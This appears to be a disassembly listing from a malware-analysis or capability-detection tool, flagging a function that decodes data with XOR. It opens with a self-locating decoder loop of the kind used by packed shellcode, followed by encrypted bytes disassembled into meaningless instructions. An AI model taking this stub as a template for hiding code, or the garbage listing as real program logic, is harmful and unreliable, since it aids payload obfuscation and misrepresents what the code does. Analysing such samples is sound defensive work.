Function at 0xdd2764
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdd276e
pushal
call 0xdd2774
pop ebp
sub ebp, 0x10
sub ebp, 0x9d2764
jmp 0xdd278a
mov eax, 0x9d2764
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b4
dec esp
add byte [eax], al
add byte [ecx + 0x5b4], bh
mov edx, 0x696023f7
xor byte [eax], dl
inc eax
dec ecx
jne 0xdd27a1
jmp 0xdd27b4
jl 0xdd27f0
jl 0xdd2836
retf
shl dword [edi - 0x2999ac61], cl
neg dword [edi - 0x8739dc9]
neg bl
rcr dword [edi + 0x4819b5d0], cl
pop ds
div edi
sal byte [ebp - 0xde0b7e7], 1
div edi
neg dword [esi]
fincstp
div edi
jp 0xdd2793
ror dword [ebx], cl
jle 0xdd27df
sar dword [ebx + ebx + 0x7c], cl
jb 0xdd2809
push edi
div edi
jl 0xdd2871
div edi
idiv dword [edx - 5]
sti
div edi
idiv dword [edx + edi*2 - 0x19]
div edi
div dword [esi]
push ds
cmc
invalid
neg dword [edi - 0x82999ad]
lahf
aaa
bound ecx, qword [edi + esi*8 + 0x7ad3dbf6]
salc
neg dword [edi - 0x8739dc9]
neg bl
sar dword [edx - 0x6d], cl
invalid
xchg ebx, eax
ror dword [ebx], cl
jle 0xdd2841
rcr dword [edi], cl
pop ds
div edi
neg dword [esi]
mov dl, 0xf5
div edi
jp 0xdd27e6
ror dword [ebx], cl
jle 0xdd2832
sar dword [ebx + ebx + 8], cl
cmp bl, 8
cmp bh, 0x1f
test edi, esi
div edi
jl 0xdd28b1
push edi
div edi
jbe 0xdd2873
push es
push edx
sub al, byte [ebp + 0x51]
jbe 0xdd2879
push edx
sub al, byte [ebp + 0x51]
les edi, [esi]
les esp, [0xbff21f74]
clc
jae 0xdd283b
div edi
idiv eax
jg 0xdd2847
div edi
not dword [ecx + 0x77ceeb7c]
or al, 0x1f
xchg ecx, eax
jl 0xdd2879
into
ja 0xdd289d
pop ds
clc
jae 0xdd2882
div edi
div dword [edi + 0xc]
push ds
clc
jae 0xdd2884
out 0xf7, al
div edi
xchg ecx, eax
jbe 0xdd28b0
div edi
not dword [ecx - 0x2df7f38a]
or dl, dl
clc
jae 0xdd288b
div edi
div dword [esi + 0x8083b1e]
or byte [eax], cl
fidivr word [ebx + 0x3674f6ce]
or dh, bl
mov ebx, 0x3674f6ce
bnd je 0xdd28da
push ds
dec edx
or byte [eax], cl
or dh, bl
mov dword [0x3674f5ce], eax
int1
je 0xdd28e7
je 0xdd28ec
push ds
pop esp
or byte [eax], cl
or byte [edx - 0x5d0804cb], ch
jl 0xdd28f5
sbb esp, dword [ecx - 0x7d835d60]
mov eax, dword [0x827ca2a0]
sti
jl 0xdd286c
dec dword [ebx]
inc ebp
ja 0xdd2964
jge 0xdd28d9
int1
jbe 0xdd291b
div bh
div edi
jg 0xdd28e0
jbe 0xdd2922
div bh
div edi
dec esp
cmc
div edi
div ebp
test dword [ebp + esi*8 - 9], 0x25f5f7f7
clc
jb 0xdd28f2
div edi
cmc
and eax, 0xf7f272f8
div edi
idiv dword [ebp - 0x1f]
div edi
jge 0xdd28e6
mov cl, 0xe5
and eax, 0x82f74f8
or byte [eax], cl
cmc
and eax, 0xf7f272f8
div edi
jge 0xdd28f9
clc
jb 0xdd2905
div edi
idiv dword [ebp - 0x1f]
mov cl, 0xe5
and eax, 0xf79d74f8
div edi
clc
je 0xdd28bb
div edi
test esp, 0xf825f537
jb 0xdd291a
les esi, [edi]
aaa
cmc
and eax, 0xf7f272f8
div edi
jge 0xdd290e
div edi
idiv dword [ebp - 0x1f]
mov cl, 0xe5
and eax, 0xf6dd74f8
div edi
cmc
clc
je 0xdd2910
div bh
div ebp
and eax, 0xf7f272f8
div edi
jge 0xdd2921
loope 0xdd28f2
mov cl, 0xe5
and eax, 0x25f537e4
clc
jb 0xdd293c
in eax, 0x25
in al, 0x37
cmc
and eax, 0xf7f272f8
div edi
idiv dword [ebp - 0x1f]
div edi
jge 0xdd2930
loope 0xdd2901
mov cl, 0xe5
and eax, 0x25f537e4
clc
jb 0xdd294b
in eax, 0x25
in al, 0x37
cmc
and eax, 0xf7f272f8
div edi
idiv dword [ebp - 0x1f]
div edi
jge 0xdd293f
mov cl, 0xe5
and eax, 0x25f537e4
clc
and eax, 0xf7f272f8
div edi
jge 0xdd294e
jb 0xdd295a
div edi
idiv dword [ebp - 0x1f]
mov cl, 0xe5
and eax, 0x73f837e4
int1
in al, 0x37
clc
jae 0xdd2966
div edi
idiv dword [eax + ebp - 0x24]
das
jge 0xdd2972
jg 0xdd2970
invalid
mov al, 0x4c
cmc
div edi
neg dword [esi]
xchg dword [eax], ecx
or byte [eax], cl
dec edi
div bh
div edi
cmc
and eax, 0xf7f272f8
div edi
jge 0xdd297b
mov cl, 0xe5
and eax, 0x25f537e4
clc
jb 0xdd2996
div edi
idiv dword [ebp - 0x1f]
mov cl, 0xe5
and eax, 0x82975f8
or byte [eax], cl
fdiv qword [esp + ecx*2]
or byte [eax], cl
or ah, bl
xor al, 0x4c
div bh
div edi
clc
jb 0xdd297f
div edi
test dword [esi - 0xa], 0xf5f7f7f7
and eax, 0xf7f272f8
div edi
jge 0xdd29af
mov cl, 0xe5
and eax, 0x25f53ee4
clc
jb 0xdd29ca
div edi
idiv dword [ebp - 0x1f]
mov cl, 0xe5
and eax, 0x82975f8
or byte [eax], cl
mov eax, dword [0x2dc007c]
add al, 0x53
push ebx
test eax, 0x808ff1e
or byte [edi + 0x7dff1736], bh
int1
mov cl, 0x7c
pop ds
dec esi
div bh
div edi
cmc
and eax, 0xf7f272f8
div edi
jge 0xdd29ec
mov cl, 0xe5
and eax, 0x25f53ee4
clc
jb 0xdd2a07
div edi
idiv dword [ebp - 0x1f]
mov cl, 0xe5
and eax, 0x82975f8
or byte [eax], cl
jbe 0xdd2a34
test dword [edx + 0x2e76f7f7], 0x8080808
jbe 0xdd2a40
div edx
div edi
jbe 0xdd2a65
div dword [esi + 0x2e]
or byte cs:[eax], cl
or byte [eax], cl
or byte [eax], cl
jbe 0xdd2a4c
ja 0xdd2a36
div edi
jbe 0xdd2a69
div dword [esi + 0x26]
div edi
div edi
div edi
jbe 0xdd2a58
ja 0xdd2a42
div edi
jbe 0xdd2a75
div dword [esi + 0x26]
div edi
div edi
mov eax, dword [0x7dc007c]
add al, 0x53
test eax, 0x8096c1e
or byte [ebp - 0xf], bh
mov cl, 0xc4
aaa
aaa
pop ds
idiv al
jae 0xdd2a58
div edi
div dword [esi + 0x26]
cmc
div edi
idiv dword [edi + ebx - 0x5f]
jl 0xdd2a79
pop ds
mov eax, dword [0x7dc007c]
fadd qword [edi]
add al, 0x53
test eax, 0xf7f7f64c
neg dword [esi]
test byte [ecx], cl
or byte [eax], cl
stosb byte es:[edi], al
fmul qword [edx - 0x57cf8301]
test eax, 0x35aa127c
push edi
test al, 0xa9
push ds
div edi
imul dword [ecx - 0x51]
pop esp
pop edx
dec edi
xchg ebx, eax
shr byte [edx - 9], 1
hlt